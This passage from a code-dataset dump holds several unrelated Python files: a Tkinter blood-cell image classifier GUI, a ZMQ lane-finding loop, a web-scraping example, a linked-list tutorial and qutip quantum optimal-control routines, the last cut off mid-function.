\"Jumlah Eosinofil:\")\r\n labelLimfosit = Label(self.parent, text = \"Jumlah Limfosit:\")\r\n labelMonosit = Label(self.parent, text = \"Jumlah Monosit:\")\r\n labelNetrofil = Label(self.parent, text = \"Jumlah Netrofil:\")\r\n labelStab = Label(self.parent, text = \"Jumlah Stab:\")\r\n labelPhoto = Label(self.parent)\r\n\r\n labelHasil.grid(row = 9, column = 0)\r\n labelJumlah.grid(sticky = W, row = 10, columnspan = 2, column = 0)\r\n labelBasofil.grid(sticky = W, row = 11, column = 0, columnspan = 2)\r\n labelEosinofil.grid(sticky = W, row = 12, column = 0, columnspan = 2)\r\n labelLimfosit.grid(sticky = W, row = 13, column = 0, columnspan = 2)\r\n labelMonosit.grid(sticky = W, row = 14, column = 0, columnspan = 2)\r\n labelNetrofil.grid(sticky = W, row = 15, column = 0, columnspan = 2)\r\n labelStab.grid(sticky = W, row = 16, column = 0, columnspan = 2)\r\n labelPhoto.grid(sticky = W, row = 10, column = 2, columnspan = 2)\r\n\r\n labelSep2 = Label(self.parent, text = \"\").grid(sticky = W, columnspan = 2, row = 5)\r\n labelTahap3 = Label(self.parent, text = \"Tahap 3: Tekan jalankan\").grid(sticky = E, row = 6)\r\n\r\n # Tombol untuk menjalankan program\r\n buttonJalan = Button(self.parent, text = \"Jalankan\", command = lambda: self.olahBanyak(labelJumlah, labelBasofil, labelEosinofil, labelLimfosit, labelMonosit, labelNetrofil, labelPhoto)).grid(sticky = W, row = 7, column = 0)\r\n buttonEkstrakBanyak = Button(self.parent, text = \"Olah Teks\", command = lambda: self.klasifikasiTeks(labelJumlah, labelBasofil, labelEosinofil, labelLimfosit, labelMonosit, labelNetrofil, labelStab, labelPhoto)).grid(sticky = W, row = 7, column = 1)\r\n buttonEkstrakBanyak = Button(self.parent, text = \"Uji Handal\", command = lambda: self.cobaOlahBanyak()).grid(sticky = W, row = 7, column = 2)\r\n\r\n # Fungsi untuk memilih folder \r\n def ambilFolder(self, label):\r\n dlg = filedialog.askdirectory()\r\n print(dlg)\r\n if dlg != '':\r\n self.folderCitra = dlg\r\n label.config(text = str(self.folderCitra))\r\n pass\r\n\r\n # Fungsi untuk mengklasifikasi citra secara banyak\r\n def olahBanyak(self, lblJumlah, lblB, lblE, lblL, lblM, lblN, lblPhoto):\r\n if self.folderCitra != '':\r\n berkas = self.folderCitra\r\n\r\n # Jalankan kelas Classify() untuk mengklasifikasi citra banyak\r\n clf = Classify()\r\n hasil_batch = clf.klasifikasiCitraBanyak(berkas, self.kecerdasan)\r\n\r\n # Hasil klasifikasi (hasil_batch) kemudian dibaca\r\n bas = (hasil_batch == 0).sum()\r\n eos = (hasil_batch == 1).sum()\r\n lim = (hasil_batch == 2).sum()\r\n mon = (hasil_batch == 3).sum()\r\n net = (hasil_batch == 4).sum()\r\n banyak = len(hasil_batch)\r\n\r\n rerBas = float(\"{0:.2f}\".format(bas*100/banyak))\r\n rerEos = float(\"{0:.2f}\".format(eos*100/banyak))\r\n rerLim = float(\"{0:.2f}\".format(lim*100/banyak))\r\n rerMon = float(\"{0:.2f}\".format(mon*100/banyak))\r\n rerNet = float(\"{0:.2f}\".format(net*100/banyak))\r\n\r\n # Hasil klasifikasi ditampilkan pada label\r\n lblJumlah.config(text = \"Jumlah Citra: \" + str(banyak))\r\n lblB.config(text = \"Jumlah Basofil: \" + str(bas) + \" -> \" + str(rerBas))\r\n lblE.config(text = \"Jumlah Eosinofil: \" + str(eos) + \" -> \" + str(rerEos))\r\n lblL.config(text = \"Jumlah Limfosit: \" + str(lim) + \" -> \" + str(rerLim))\r\n lblM.config(text = \"Jumlah Monosit: \" + str(mon) + \" -> \" + str(rerMon))\r\n lblN.config(text = \"Jumlah Netrofil: \" + str(net) + \" -> \" + str(rerNet))\r\n\r\n # Baca dan tampilkan grafik confusion matrix\r\n clf.ambilConfusionMatrix(self.folderCitra, hasil_batch)\r\n image_conf = Image.open(self.folderCitra + '/confusion_matrix.png')\r\n if image_conf != None:\r\n lblPhoto.config(image = image_conf)\r\n \r\n # Fungsi untuk mengklasifikasi citra satuan, namun belum selesai dan tidak berfungsi\r\n def tangkapCitraSatuan(self):\r\n ftypes = [('Portable Network Graphics', '*.png'), ('JPEG', '*.jpg')]\r\n dlg = filedialog.Open(self, filetypes=ftypes)\r\n fl = dlg.show()\r\n\r\n # if fl != '':\r\n # # self.img = Image.open(fl)\r\n # # f = ImageTk.PhotoImage(self.img)\r\n # citra = cv2.imread(fl,cv2.IMREAD_COLOR)\r\n # fres = self.resizeImage(citra)\r\n\r\n # # if APA_CITRA_PENUH == True:\r\n # # jumlahWBC, hasilResize = prosesCitraPenuh(f)\r\n \r\n # fe = FeatureExtraction(citra)\r\n # fitur = fe.ekstraksifitur()\r\n # print(fitur)\r\n\r\n # # Agar bisa dibuka secara benar oleh Tk\r\n # fres = cv2.cvtColor(fres, cv2.COLOR_BGR2RGB)\r\n # fres = Image.fromarray(fres)\r\n # fres = ImageTk.PhotoImage(fres)\r\n\r\n # label = Label(self, height=\"480\", width=\"640\", image=fres) # img nanti di resize dulu dari hasil TensorBox\r\n # label.image = fres\r\n # label.pack(side=\"left\", expand=\"no\")\r\n \r\n # Fungsi untuk klasifikasi citra yang sudah berformat CSV berisi fitur-fitur\r\n def klasifikasiTeks(self, lblJumlah, lblB, lblE, lblL, lblM, lblN, lblS, lblPhoto): \r\n dlg = filedialog.askdirectory()\r\n print(dlg)\r\n if dlg != '':\r\n self.folderCitra = dlg\r\n berkas = self.folderCitra\r\n clf = Classify()\r\n hasil_batch = clf.klasifikasiTeks(berkas, self.kecerdasan)\r\n bas = (hasil_batch == 0).sum()\r\n eos = (hasil_batch == 1).sum()\r\n lim = (hasil_batch == 2).sum()\r\n mon = (hasil_batch == 3).sum()\r\n net = (hasil_batch == 4).sum()\r\n stab = (hasil_batch == 5).sum()\r\n banyak = len(hasil_batch)\r\n\r\n rerBas = float(\"{0:.2f}\".format(bas*100/banyak))\r\n rerEos = float(\"{0:.2f}\".format(eos*100/banyak))\r\n rerLim = float(\"{0:.2f}\".format(lim*100/banyak))\r\n rerMon = float(\"{0:.2f}\".format(mon*100/banyak))\r\n rerNet = float(\"{0:.2f}\".format(net*100/banyak))\r\n rerStab = float(\"{0:.2f}\".format(stab*100/banyak))\r\n\r\n lblJumlah.config(text = \"Jumlah Citra: \" + str(banyak))\r\n lblB.config(text = \"Jumlah Basofil: \" + str(bas) + \" -> \" + str(rerBas))\r\n lblE.config(text = \"Jumlah Eosinofil: \" + str(eos) + \" -> \" + str(rerEos))\r\n lblL.config(text = \"Jumlah Limfosit: \" + str(lim) + \" -> \" + str(rerLim))\r\n lblM.config(text = \"Jumlah Monosit: \" + str(mon) + \" -> \" + str(rerMon))\r\n lblN.config(text = \"Jumlah Netrofil: \" + str(net) + \" -> \" + str(rerNet))\r\n lblS.config(text = \"Jumlah Stab: \" + str(stab) + \" -> \" + str(rerStab))\r\n\r\n # Baca gambar confusion matrix\r\n clf.ambilConfusionMatrix(self.folderCitra, hasil_batch)\r\n image_conf = Image.open(self.folderCitra + '/confusion_matrix.png')\r\n if image_conf != None:\r\n lblPhoto.config(image = image_conf)\r\n \r\n pass\r\n \r\n # Fungsi untuk ekstraksi citra banyak\r\n # Walau demikian, program ekstraksinya tidak berjalan secara efektif karena thresholdingnya masih menggunakan\r\n # ambang batas absolut, tidak adaptif terhadap pencahayaan\r\n def ekstrakBanyak(self):\r\n dlg = filedialog.askdirectory()\r\n print(dlg)\r\n if dlg != '':\r\n self.folderCitra = dlg\r\n fe = FeatureExtraction()\r\n fitur2 = fe.ekstrakFiturBanyak(self.folderCitra)\r\n \r\n pass\r\n\r\n # Fungsi untuk klasifikasi citra banyak\r\n # Mirip seperti klasifikasiTeks(), namun hanya menyimpan hasil tanpa menampilkan confusion matrix\r\n def cobaOlahBanyak(self):\r\n dlg = filedialog.askdirectory()\r\n print(dlg)\r\n if dlg != '':\r\n self.folderCitra = dlg\r\n clf = Classify()\r\n # hlp = Helper()\r\n # berkas_citra = hlp.listFiles(self.folderCitra)\r\n hasil = []\r\n # hasil.append(berkas_citra)\r\n for i in range(0, 10):\r\n klas = clf.klasifikasiTeks(self.folderCitra, self.kecerdasan)\r\n hasil.append(klas)\r\n np.savetxt('Hasil Olah Iterasi.txt', hasil, delimiter=',')\r\n\r\n def simpanData(self):\r\n pass\r\n\r\n def onExit(self):\r\n self.quit()\r\n\r\n def resizeImage(self, f):\r\n return cv2.resize(f, (640, 480))\r\n\r\n\r\n# Fungsi utama program\r\ndef main():\r\n global seGmentasi\r\n global seKlasifikasi\r\n root = Tk()\r\n app = GUI(root)\r\n root.mainloop()\r\n\r\nif __name__ == '__main__':\r\n main()","sub_path":"cidar_batch.py","file_name":"cidar_batch.py","file_ext":"py","file_size_in_byte":12200,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"472215105","text":"import base64\nimport cv2\nimport laneFinding\nimport numpy as np\nimport pathPlanning\nimport preprocessing\nimport time\nimport zmq\n\nport = \"5556\"\ncontext = zmq.Context()\nsocket = context.socket(zmq.PAIR)\nsocket.bind(\"tcp://*:%s\" % port)\n\nsrc = np.float32([[20, 200], [350, 200],\n [275, 120], [85, 120]])\n\nimg_size = [200, 360, 3]\ndst = np.float32([[0, img_size[0]], [img_size[1], img_size[0]],\n [img_size[1], 0], [0, 0]])\n\noffset_angle = 0\nwhile True:\n start_time = time.time()\n frame = socket.recv_pyobj()\n # frame = socket.recv_string()\n # img = base64.b64decode(frame)\n # npimg = np.fromstring(frame, dtype=np.uint8)\n source = cv2.imdecode(frame, 1)\n # source = cv2.resize(source, (1280, 720))\n\n # \n # Preprocessing\n combined_thresholded = preprocessing.colorthresh(source)\n warped_masked_img, M_warp, Minv = preprocessing.warp_image(combined_thresholded, src, dst, (img_size[1], img_size[0]))\n # lane finding\n ploty, lefty, righty, leftx, rightx, left_fitx, right_fitx, out_img = laneFinding.find_lane(warped_masked_img)\n # path planning\n center_fitx, center_offset = pathPlanning.calc_central_line(left_fitx, right_fitx, img_size, out_img, imshow=True)\n # center_fitx[-1] - last element in array, botton element of road centerangle = 1500\n vehicle_offset = pathPlanning.calculate_offset(img_size, center_fitx[-1])\n vehicle_offset_cm = pathPlanning.offset_in_centimeters(vehicle_offset, 20, left_fitx[-1], right_fitx[-1])\n # offset_angle = pathPlanning.calculate_offset_angle(vehicle_offset_cm, maximum_support_vehicle_offset=5, maximum_wheel_angle=15)\n\n # if offset_angle:\n # angle = offset_angle\n # else:\n # angle = 0\n socket.send_string(str(vehicle_offset_cm))\n # \n\n # cv2.imshow(\"Stream\", source)\n #\n if cv2.waitKey(1) == ord('q'):\n break\n","sub_path":"computer.py","file_name":"computer.py","file_ext":"py","file_size_in_byte":1959,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"123924290","text":"'''\nWeb Scraping with Python\n1.2.3 신뢰할 수 있는 연결과 예외처리\n\t이런 식으로 함수로 만들어놓으면 좋다\n'''\nfrom urllib.request import urlopen\nfrom urllib.error import HTTPError\nfrom bs4 import BeautifulSoup\n\ndef getTitle(url) :\n\ttry: \n\t\thtml = urlopen(url)\n\texcept HTTPError as e:\n\t\treturn None\n\ttry:\n\t\tbs = BeautifulSoup(html.read(), 'html.parser')\n\t\ttitle = bs.body.h1\n\texcept AttributeError as e:\n\t\treturn None\n\treturn title\n\ntitle = getTitle('http://www.pythonscraping.com/pages/page1.html')\nif title == None :\n\tprint('Title could not be found')\nelse:\n\tprint(title)\n\n\n\n'''\n\n

An Interesting Title

\n'''","sub_path":"test3.py","file_name":"test3.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"189212093","text":"\"\"\"\n链表特点:\n- 节省空间:不需要连续空间,不需要分配多余空间\n- 增加数据:快\n- 删除数据:快\n- 查找数据:慢\n\n下面介绍链表的常见操作\n\"\"\"\n\n\n# 创建链表\nclass Node(object):\n def __init__(self, data, next=None):\n self.data = data\n self.next = next\n\n\nlast = Node(\"or\")\nmid = Node(\"be\", last)\nhead = Node(\"to\", mid)\n\n# 从表头删除结点\nhead = head.next\n\n# 在表头插入结点\noldfirst = head\nhead = Node(\"not\", oldfirst)\n\n# 在表尾插入结点 -- last结点已知\noldlast = last\nnewlast = Node(\"not\")\noldlast.next = newlast\n\n# 在表尾插入结点 -- last结点未知\nnewNode = Node(\"not\")\nif not head:\n head = newNode\nelse:\n probe = head\n while probe.next:\n probe = probe.next\n probe.next = newNode\n\n# 从表尾删除结点\nif not head.next:\n head = None\nelse:\n probe = head\n while probe.next.next:\n probe = probe.next\n probe.next = None\n\n\n# 用循环创建链表,并访问链表\nhead = None\nfor count in range(1, 6):\n head = Node(count, head)\nprobe = head\nwhile probe:\n print(probe.data)\n probe = probe.next\n\n# 搜索\ntargetItem = 3\nprobe = head\nwhile probe and targetItem != probe.data:\n probe = probe.next\nif probe:\n print(\"target is found\")\nelse:\n print(\"target is not in this linked structure\")\n\n# 访问链表的第i项\nprobe = head\nindex = 3\nwhile index > 0:\n probe = probe.next\n index -= 1\nprint(probe.data)\n\n# 替换:若目标项不存在,则返回False;否则替换相应的项,并返回True.\nprobe = head\nnewItem = 30\nwhile probe != None and targetItem != probe.data:\n probe = probe.next\nif probe != None:\n probe.data = newItem\n print(\"True\")\nelse:\n print(\"False\")\n\n# 在任意位置插入\nif not head or index <= 0:\n head = Node(newItem, head)\nelse:\n probe = head\nwhile index > 1 and probe.next:\n probe = probe.next\n index -= 1\n probe.next = Node(newItem, probe.next)\n\n# 在任意位置删除\nif index <= 0 or not head.next:\n head = head.next\nelse:\n probe = head\nwhile index > 1 and probe.next.next:\n probe = probe.next\n index -= 1\n probe.next = probe.next.next\n","sub_path":"Algorithms/chapter1_basic/single_linked_list.py","file_name":"single_linked_list.py","file_ext":"py","file_size_in_byte":2166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"323326138","text":"import datetime\nimport logging\nimport os\nimport pickle\nimport functools\nimport sys\nimport pickle\nimport numbers\nimport time\n\nimport numpy as np\nimport pandas as pd\nimport progressbar\nimport qutip\n#QuTiP control modules\nimport qutip.control.pulseoptim as cpo\n# import qutip.logging_utils as logging\nimport scipy\n\nimport src.rabi_model as rabi_model\nimport src.lmg_model as lmg_model\nimport src.lz_model as lz_model\nfrom src.hamiltonians import TimeDependentHamiltonian\nfrom src.utils import ground_state, autonumber_filename, timestamp, fidelity\nfrom src.protocol_ansatz import (\n DoubleBangProtocolAnsatz, BangRampProtocolAnsatz, CRABProtocolAnsatz)\n\n\ndef evolve_state(hamiltonian, initial_state, tlist,\n return_all_states=False):\n \"\"\"Evolve state with (generally time-dependent) hamiltonian.\n\n This is a wrapper around `qutip.mesolve`, to which `hamiltonian` and\n `initial_state` are directly fed.\n\n Parameters\n ----------\n hamiltonian : list of qutip objects\n The Hamiltonian specification in `qutip.mesolve` is the\n \"function based\" one, as per qutip.mesolve documentation. This means\n that `hamiltonian` is to be given as a list of constant Hamiltonians,\n each one pairs with a time-dependent (numeric) coefficient.\n The simplest example would be `hamiltonian = [H0, [H1, coeffFun]]`.\n initial_state : qutip.Qobj\n time : float or list of floats\n If a single number, it is divided into a number of subintervals and\n the result used as input for `qutip.mesolve`. If a list of numbers,\n it is directly fed to `qutip.mesolve`.\n \"\"\"\n if isinstance(tlist, numbers.Number):\n tlist = np.linspace(0, tlist, 40)\n\n try:\n evolving_states = qutip.mesolve(hamiltonian, initial_state, tlist)\n except Exception:\n error_data_filename = 'evolution_error_details_{}.pickle'.format(\n timestamp())\n error_data_filename = os.path.join(os.getcwd(), error_data_filename)\n error_data_filename = autonumber_filename(error_data_filename)\n logging.info('Something went wrong while trying to evolve from\\n'\n 'initial_state={}\\nwith hamiltonian={}.\\nSaving data to '\n 'reproduce in \"{}\".'.format(initial_state, hamiltonian,\n error_data_filename))\n with open(error_data_filename, 'wb') as fh:\n if len(hamiltonian) == 2 and len(hamiltonian[1]) == 2:\n pulse_samples = [hamiltonian[1][1](t)\n for t in np.linspace(0, time, 100)]\n hamiltonian = (hamiltonian[0], hamiltonian[1][0])\n data = dict(hamiltonian=hamiltonian,\n initial_state=initial_state, times_list=tlist)\n data = data.update(dict(pulse_samples=pulse_samples))\n print('data: {}'.format(data))\n pickle.dump(data, fh)\n raise\n\n if return_all_states:\n return evolving_states.states\n else:\n return evolving_states.states[-1]\n\n\ndef evolve_adiabatically(initial_hamiltonian, final_hamiltonian, tlist,\n return_all_states=False):\n \"\"\"Evolve the gs of an Hamiltonian towards that of another.\"\"\"\n if isinstance(tlist, numbers.Number):\n tlist = np.linspace(0, tlist, 40)\n\n delta_ham = final_hamiltonian - initial_hamiltonian\n def linear_ramp(t, *args):\n return t / tlist[-1]\n H = [initial_hamiltonian, [delta_ham, linear_ramp]]\n\n initial_state = ground_state(initial_hamiltonian)\n return evolve_state(hamiltonian=H, initial_state=initial_state,\n tlist=tlist,\n return_all_states=return_all_states)\n\n\n# def _optimize_model_parameters(\n# hamiltonians, initial_state, target_state,\n# evolution_time, protocol,\n# initial_parameters,\n# optimization_method='Nelder-Mead',\n# optimization_options=None\n# ):\n# \"\"\"LEGACY VERSION OF THIS FUNCTION, KEPT ONLY TEMPORARILY.\n \n# Optimize a model ansatz with respect to its parameters.\n\n# Input and output states are fixed, and so is the parametrized form of the\n# protocol. Optimize the protocol-defining parameters to maximize the\n# fidelity between initial_state and target_state.\n\n# The total evolution time is generally fixed through the \n\n# Parameters\n# ----------\n# hamiltonians : pair of qutip.Qobj hamiltonians\n# Pair [H0, H1] where H0 is the time-independent component of the overall\n# Hamiltonian (the free term), and H1 the time-independent component of\n# the time-dependent part of the overall Hamiltonian (the interaction\n# term).\n# During the optimization, different time-dependent functions will be\n# attached to H1, according to the user-specified model.\n# NOTE: Clearly, this restricts the use of this function to only\n# a specific class of QOC problems.\n# initial_state : qutip.Qobj state\n# For every protocol tried, this state is evolved through the\n# corresponding time-dependent Hamiltonian and compared with the target.\n# target_state : qutip.Qobj state\n# As above: the output state is for every protocol compared with this\n# one (via fidelity).\n# evolution_time : float\n# The total evolution time. This could technically be specified through\n# the parametrized model, but it's just easier for now to have it as a\n# separate argument.\n# protocol : ProtocolAnsatz instance\n# Function taking as input a numpy array, and giving as output a\n# real-to-real function returning, for a particular protocol, the\n# interaction value corresponding to a given time.\n# initial_parameters : list of floats or 1D np.array\n# The optimization will proceed from this initial value of the protocol\n# parameters.\n# optimization_method : string\n# Passed over to scipy.optimize.minimize\n# optimization_options : dict\n# Passed over to scipy.optimize.minimize as the `options` parameteres.\n# It is to be used to specify method-specific options.\n# \"\"\"\n# BIG_BAD_VALUE = 200 # yes, I pulled this number out of my ass\n\n# def fidelity_vs_model_parameters(pars):\n# # assign very high cost if outside of the boundaries (we have to do\n# # this because for some reason scipy does not support boundaries with\n# # Nelder-Mead and Powell)\n\n# if not protocol.are_pars_in_boundaries(pars):\n# # this checks that the parameters are within boundaries (not the\n# # overall protocol, which is checked later)\n# return BIG_BAD_VALUE\n\n# # build model, hamiltonian, and compute output state\n# time_dependent_fun = protocol.time_dependent_fun(pars)\n\n# H = [hamiltonians[0], [hamiltonians[1], time_dependent_fun]]\n# output_state = evolve_state(H, initial_state, evolution_time)\n# # check if we stepped out of the overall boundaries (if any) during\n# # the evolution\n# if protocol.total_height_constraint is not None:\n# if protocol.out_of_boundaries:\n# protocol.out_of_boundaries = False\n# return BIG_BAD_VALUE\n# # compute and return infidelity (because scipy gives you MINimize)\n# return 1 - fidelity(output_state, target_state)\n\n# # run the actual optimisation\n# logging.info('Starting optimization for tf={}'.format(evolution_time))\n# logging.debug('Optimization method: {}'.format(optimization_method))\n# logging.debug('Optimization options: {}'.format(optimization_options))\n# logging.info('Initial parameter values: {}'.format(initial_parameters))\n# result = scipy.optimize.minimize(\n# fun=fidelity_vs_model_parameters,\n# x0=initial_parameters,\n# method=optimization_method,\n# options=optimization_options\n# # bounds=parameters_constraints # not accepted for Powell and NM\n# )\n# logging.info('Final fidelity: {}'.format((1 - result.fun)**2))\n# logging.info('Final parameters: {}'.format(result.x))\n# result.data = dict(initial_pars=initial_parameters)\n# return result\n\n\ndef optimize_model_parameters(\n hamiltonian, initial_state, target_state,\n tlist, initial_parameters,\n optimization_method='Nelder-Mead',\n optimization_options=None, solver_options=None\n ):\n \"\"\"Optimize a model ansatz with respect to its parameters.\n\n Input and output states are fixed, and so is the parametrized form of the\n protocol. Optimize the protocol-defining parameters to maximize the\n fidelity between initial_state and target_state.\n NOTE: How the dynamics is actually solved is deferred to the hamiltonian\n object (which usually defers it to the protocol_ansatz object)\n\n Parameters\n ----------\n hamiltonian : TimeDependentHamiltonian instance\n initial_state : qutip.Qobj state\n For every protocol tried, this state is evolved through the\n corresponding time-dependent Hamiltonian and compared with the target.\n target_state : qutip.Qobj state\n As above: the output state is for every protocol compared with this\n one (via fidelity).\n tlist : float\n The total evolution time. This could technically be specified through\n the parametrized model, but it's just easier for now to have it as a\n separate argument.\n initial_parameters : list_like of floats\n The optimization will proceed from this initial value of the protocol\n parameters.\n NOTE: We don't support ranges or strings here to have flexible or\n random initial parameter values. For that you need to work with\n the higher level interface `find_best_protocol`.\n optimization_method : string\n Passed over to scipy.optimize.minimize\n optimization_options : dict\n Passed over to scipy.optimize.minimize as the `options` parameteres.\n It is to be used to specify method-specific options.\n solver_options : dict\n These are options passed to the solver (usually qutip.mesolve)\n \n Returns\n -------\n The result object returned by scipy.optimize.minimize (essentially a dict\n containing the optimisation data).\n\n The final value of the cost function is stored in `result.fun`. THIS\n EQUALS (1 - F) WITH F THE *NON*-SQUARED FIDELITY. You need to compute\n 1 - (1 - fun)**2 to obtain the infidelity.\n\n `result.x` contains the optimised values of the protocol parameters.\n \"\"\"\n BIG_BAD_VALUE = 200 # yes, I pulled this number out of my ass\n if isinstance(tlist, numbers.Number):\n tlist = np.linspace(0, tlist, 40)\n\n # hamiltonian.td_protocol is a protocol_ansatz object. All of the hyperpars\n # should already have been fixed, only exception being the total time\n if hamiltonian.td_protocol is None:\n raise ValueError('Did you forget to specify a protocol pal?')\n protocol = hamiltonian.td_protocol\n protocol.fill_hyperpar_value(tf=tlist[-1])\n def fidelity_vs_model_parameters(pars):\n # assign very high cost if outside of the boundaries (we have to do\n # this because for some reason scipy does not support boundaries with\n # Nelder-Mead and Powell)\n\n # check that the parameters are within boundaries (not the overall\n # height of the protocol, which is checked later)\n if not protocol.are_pars_in_boundaries(pars):\n return BIG_BAD_VALUE\n\n # evolve state\n output_state = hamiltonian.evolve_state(\n state=initial_state, tlist=tlist,\n td_protocol_parameters=pars, return_all_states=False,\n solver_options=solver_options\n )\n\n # check if we stepped out of the overall boundaries (if any) during\n # the evolution\n if protocol.total_height_constraint is not None:\n if protocol.out_of_boundaries:\n protocol.out_of_boundaries = False\n return BIG_BAD_VALUE\n # compute and return infidelity (because scipy gives you MINimize)\n return 1 - fidelity(output_state, target_state)\n\n # run the actual optimisation\n logging.info('Starting optimization for tf={}'.format(tlist[-1]))\n logging.debug('Optimization method: {}'.format(optimization_method))\n logging.debug('Optimization options: {}'.format(optimization_options))\n logging.info('Initial parameter values: {}'.format(initial_parameters))\n result = scipy.optimize.minimize(\n fun=fidelity_vs_model_parameters,\n x0=initial_parameters,\n method=optimization_method,\n options=optimization_options\n # bounds=parameters_constraints # not accepted for Powell and NM\n )\n logging.info('Final fidelity: {}'.format((1 - result.fun)**2))\n logging.info('Final parameters: {}'.format(result.x))\n result.data = dict(initial_pars=initial_parameters)\n return result\n\n\ndef _parse_initial_parameters(initial_parameters, tf):\n \"\"\"Used by _optimize_model_parameters_scan_times.\n \n Does the following to the input list:\n - numbers are kept without changes\n - strings are kept without changes (will be parsed later)\n - anything else is assumed to be a two-element tuple, and in this case\n a random number in the given range is generated and put instead of\n the tuple.\n \"\"\"\n parsed_initial_pars = []\n for par in initial_parameters:\n if isinstance(par, numbers.Number):\n parsed_initial_pars.append(par)\n elif isinstance(par, str):\n # strings can be used to indicated special values. Only some values\n # are accepted (mostly just `halftime`)\n if par == 'halftime':\n parsed_initial_pars.append(tf / 2.)\n else:\n raise ValueError('\"{}\" is not a valid specifier'.format(par))\n elif (isinstance(par, (list, tuple)) and\n all(isinstance(par_elem, numbers.Number) for par_elem in par)):\n min_, max_ = par\n random_value = np.random.rand() * (max_ - min_) + min_\n parsed_initial_pars.append(random_value)\n else: # otherwise we assume a callable that is a function of tf\n parsed_initial_pars.append(par(tf))\n return parsed_initial_pars\n\n\ndef _optimize_model_parameters_scan_times(\n times_to_try=None,\n hamiltonian=None,\n initial_state=None, target_state=None,\n initial_parameters=None,\n optimization_method=None,\n optimization_options=None, solver_options=None,\n stopping_condition=None):\n \"\"\"Run a series of OC optimizations for different times.\n\n Parameters\n ----------\n times_to_try : list of positive numbers\n For each time in this list the optimization over the parameter will\n be performed (unless a stopping condition is also given, in which case\n not all of the provided time are necessary used).\n hamiltonian : TimeDependentHamiltonian instance\n initial_parameters : list\n List of the same length of the number of parameters defining the\n protocol (total time excluded).\n Each element is either a number or a pair of two numbers. If a number,\n this value is used for all optimizations as initial value for the\n corresponding parameter.\n If a pair of numbers, at every iteration a random value in the given\n range is used as initial value for the corresponding parameter.\n initial_state : qutip.Qobj\n target_state : qutip.Qobj\n optimization_method : string\n stopping_condition : float\n If None, all of the given times are scanned and the parameters are\n optimized for each one. If a single float integer, it is used as a\n criterion for stopping the scan before all times are checked: the\n functions exits when the optimization find a fidelity bigger than or\n equal to the given value.\n \"\"\"\n protocol = hamiltonian.td_protocol\n # the +1 is for the fidelity, that is added to all the other parameters\n num_columns_result = protocol.num_parameters_to_save + 1\n pars_cols_names = list(protocol.hyperpars.keys()) + protocol.pars_names\n pars_cols_names = ['fid'] + pars_cols_names\n\n results = np.zeros(shape=[len(times_to_try), num_columns_result])\n for idx, tf in enumerate(times_to_try):\n logging.info('---- Iteration {}/{}'.format(idx + 1, len(times_to_try)))\n # parse initial parameters (we do this here to generate new random\n # values at each iteration)\n initial_pars = _parse_initial_parameters(initial_parameters, tf)\n\n try:\n result = optimize_model_parameters(\n hamiltonian=hamiltonian, initial_state=initial_state,\n target_state=target_state, tlist=tf,\n initial_parameters=initial_pars,\n optimization_method=optimization_method,\n optimization_options=optimization_options,\n solver_options=solver_options\n )\n fid = (1 - result.fun)**2 # the cost, result.fun, is 1 - sqrt(fid)\n if not 0 <= fid <= 1.01:\n logging.info('Optimization failed: got a nonphysical fidelity.')\n logging.info('Fidelity: {}'.format(fid))\n\n pars_to_save = list(protocol.hyperpars.values()) + list(result.x)\n results[idx] = [fid] + pars_to_save\n\n if stopping_condition is not None and fid >= stopping_condition:\n results = results[:idx + 1]\n logging.info('Stopping condition (fid >= {}) reached, '\n 'stopping.'.format(stopping_condition))\n break\n except KeyboardInterrupt:\n logging.info('Optimization interrupted, attempting to save '\n 'partial results.')\n results = results[:idx + 1]\n break\n\n results = pd.DataFrame(results, columns=pars_cols_names)\n return results\n\n\ndef find_best_protocol(\n problem_specification, optimization_specs,\n other_options={}\n ):\n \"\"\"Higher-level interface to optimize_model_parameters.\n \n Parameters\n ----------\n problem_specification : dict\n Mandatory keys: 'model', 'model_parameters', 'task', 'time'.\n The accepted values for the `model` key are\n - 'rabi'\n - 'lmg'\n\n If model='rabi', the accepted values for `model_parameters` are\n - 'N'\n - 'Omega'\n - 'omega_0'\n If model='lmg', the accepted values for `model_parameters` are\n - 'num_spins'\n \n The accepted values for `task` are:\n - 'critical point state generation'\n\n The value of 'time' should be a positive number, representing the\n evolution time.\n\n optimization_specs : dict\n Accepted keys:\n - 'protocol'\n - 'protocol_options'\n - 'optimization_method'\n - 'optimization_options'\n - 'solver_options'\n - 'initial_parameters'\n - 'parameters_constraints'\n\n The accepted values for `protocol` are\n - 'doublebang'\n - 'bangramp'\n - 'crab'\n\n The accepted values for 'protocol_options' depend on 'protocol'.\n If protocol='crab' then the accepted values are\n - 'num_frequencies'\n\n The accepted values for 'optimization_method' are those accepted by\n scipy.optim.minimize, and similarly the value of 'optimization_options'\n is passed over to this function.\n Other values accepted for optimization_specs are:\n - 'parameters_constraints'\n\n The value of 'initial_parameters' can be either a numpy array with\n explicit values, or a string.\n\n The value of `parameters_constraints` can a list of pairs, with\n each pair specifying the constraints for one of the optimisation pars.\n If it instead a single list of two elements, it is instead used to\n put constraints on the overall height of the protocol (so not directly\n on the parameters that define it). This is notably necessary for the\n CRAB protocol.\n\n other_options : dict\n Accepted keys:\n - 'scan_times'\n - 'stopping_condition'\n\n \"\"\"\n model = problem_specification['model']\n model_parameters = problem_specification['model_parameters']\n task = problem_specification['task']\n protocol_name = optimization_specs['protocol']\n optim_method = optimization_specs['optimization_method']\n optim_options = optimization_specs.get('optimization_options')\n solver_options = optimization_specs.get('solver_options')\n\n initial_state = None\n target_state = None\n\n if model == 'rabi':\n hamiltonian = rabi_model.RabiModel(\n N=model_parameters['N'],\n Omega=model_parameters['Omega'],\n omega_0=model_parameters['omega_0']\n )\n elif model == 'lmg':\n hamiltonian = lmg_model.LMGModel(\n num_spins=model_parameters['num_spins']\n )\n elif model == 'lz':\n hamiltonian = lz_model.LZModel(omega_0=model_parameters['omega_0'])\n else:\n raise ValueError(\"{} isn't a valid value for the model\".format(model))\n\n if isinstance(task, str) and task == 'critical point':\n task = dict(initial_intensity=0,\n final_intensity=hamiltonian.critical_value)\n elif not isinstance(task, dict):\n raise ValueError('`task` must be a dictionary or a string.')\n\n initial_state = hamiltonian.ground_state(task['initial_intensity'])\n target_state = hamiltonian.ground_state(task['final_intensity'])\n # determine protocol 